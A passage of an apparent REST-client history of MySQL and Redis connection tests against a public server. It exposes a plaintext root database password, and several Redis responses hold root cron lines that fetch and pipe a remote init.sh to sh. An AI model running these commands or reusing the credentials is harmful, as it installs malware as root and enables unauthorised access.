http://localhost:9098/datasource/testConnectMysql\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"驱动类名不能为空\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":14.0,\"minute\":49.0,\"second\":56.0,\"nano\":3.833093E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"123\\\",\\n \\\"driverClassName\\\": \\\"mysql\\\",\\n \\\"databaseName\\\": \\\"\\\",\\n \\\"tableName\\\": \\\"\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 500,\\n \\\"msg\\\": \\\"连接失败\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":14.0,\"minute\":50.0,\"second\":6.0,\"nano\":3.723239E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://115.159.33.152:3306/\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzm@123\\\",\\n \\\"data\\\": 0\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"连接成功\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":14.0,\"minute\":56.0,\"second\":27.0,\"nano\":2.586714E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://115.159.33.152:3306/\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzm@123\\\",\\n \\\"warehouseName\\\": \\\"etl\\\",\\n \\\"data\\\": 0\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"连接成功\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":14.0,\"minute\":56.0,\"second\":41.0,\"nano\":8.300642E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://115.159.33.152:3306/\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzm@123\\\",\\n \\\"tableName\\\":\\\"t_data_source_etl\\\",\\n \\\"warehouseName\\\": \\\"etl\\\",\\n \\\"data\\\": 0\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"连接成功\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":14.0,\"minute\":58.0,\"second\":9.0,\"nano\":2.161148E8}}},{\"url\":\"http://localhost:9098/datasource/testConnectMysql\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://115.159.33.152:3306/\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzm@123\\\",\\n \\\"warehouseName\\\": \\\"etl\\\",\\n \\\"data\\\": 0\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": \\\"连接成功\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":15.0,\"minute\":11.0,\"second\":31.0,\"nano\":3.41729E7}}}],\"/datasource/findDatabaseTable\":[{\"url\":\"http://localhost:9098/datasource/findDatabaseTable\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"driverClassName\\\": \\\"com.mysql.cj.jdbc.Driver\\\",\\n \\\"url\\\": \\\"jdbc:mysql://115.159.33.152:3306/\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"password\\\": \\\"lzm@123\\\",\\n \\\"warehouseName\\\": \\\"etl\\\",\\n \\\"data\\\": 0\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n \\\"information_schema\\\",\\n \\\"dimensional_health\\\",\\n \\\"etl\\\",\\n \\\"follow\\\",\\n \\\"followtwo\\\",\\n \\\"mall-app-web\\\",\\n \\\"mall-car\\\",\\n \\\"mall-cloud\\\",\\n \\\"mall-config\\\",\\n \\\"mall-product\\\",\\n \\\"mall-seata\\\",\\n \\\"mysql\\\",\\n \\\"nacos_config\\\",\\n \\\"performance_schema\\\",\\n \\\"pra\\\",\\n \\\"product\\\",\\n \\\"ry-cloud\\\",\\n \\\"seata\\\",\\n \\\"skywalking\\\",\\n \\\"sys\\\",\\n \\\"xxl_job\\\",\\n \\\"zzl_job\\\"\\n ]\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":15.0,\"minute\":11.0,\"second\":42.0,\"nano\":8.602058E8}}}],\"/redis/testDatabaseRedis\":[{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\nConnectException: Connection refused: connect\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":14.0,\"second\":48.0,\"nano\":1.67661E7}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": {\\n \\\"backup1\\\": \\\"\\\\n\\\\n\\\\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup4\\\": \\\"\\\\n\\\\n\\\\n*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup2\\\": \\\"\\\\n\\\\n\\\\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup3\\\": \\\"\\\\n\\\\n\\\\n*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":16.0,\"second\":58.0,\"nano\":1.862066E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":16.0,\"second\":59.0,\"nano\":1.716174E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": {\\n \\\"backup1\\\": \\\"\\\\n\\\\n\\\\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup4\\\": \\\"\\\\n\\\\n\\\\n*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup2\\\": \\\"\\\\n\\\\n\\\\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup3\\\": \\\"\\\\n\\\\n\\\\n*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":16.0,\"second\":59.0,\"nano\":1.964107E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":16.0,\"second\":59.0,\"nano\":3.21528E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":16.0,\"second\":59.0,\"nano\":4.903581E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":16.0,\"second\":59.0,\"nano\":9.475154E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":0.0,\"nano\":1.476129E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": {\\n \\\"backup1\\\": \\\"\\\\n\\\\n\\\\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup4\\\": \\\"\\\\n\\\\n\\\\n*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup2\\\": \\\"\\\\n\\\\n\\\\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup3\\\": \\\"\\\\n\\\\n\\\\n*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":0.0,\"nano\":1.777844E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":0.0,\"nano\":3.067526E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":0.0,\"nano\":4.988793E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":0.0,\"nano\":8.354335E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":0.0,\"nano\":9.964219E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": {\\n \\\"backup1\\\": \\\"\\\\n\\\\n\\\\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup4\\\": \\\"\\\\n\\\\n\\\\n*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup2\\\": \\\"\\\\n\\\\n\\\\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup3\\\": \\\"\\\\n\\\\n\\\\n*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":1.0,\"nano\":1.559962E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":1.0,\"nano\":1.599828E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":1.0,\"nano\":3.228772E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":1.0,\"nano\":4.844365E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":1.0,\"nano\":8.025463E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":1.0,\"nano\":9.734238E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": {\\n \\\"backup1\\\": \\\"\\\\n\\\\n\\\\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup4\\\": \\\"\\\\n\\\\n\\\\n*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup2\\\": \\\"\\\\n\\\\n\\\\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup3\\\": \\\"\\\\n\\\\n\\\\n*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":2.0,\"nano\":1.868197E8}}}],\"/datasource/findDataSource\":[{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":16.0,\"minute\":52.0,\"second\":47.0,\"nano\":5.145096E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":16.0,\"minute\":53.0,\"second\":1.0,\"nano\":7.240568E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: 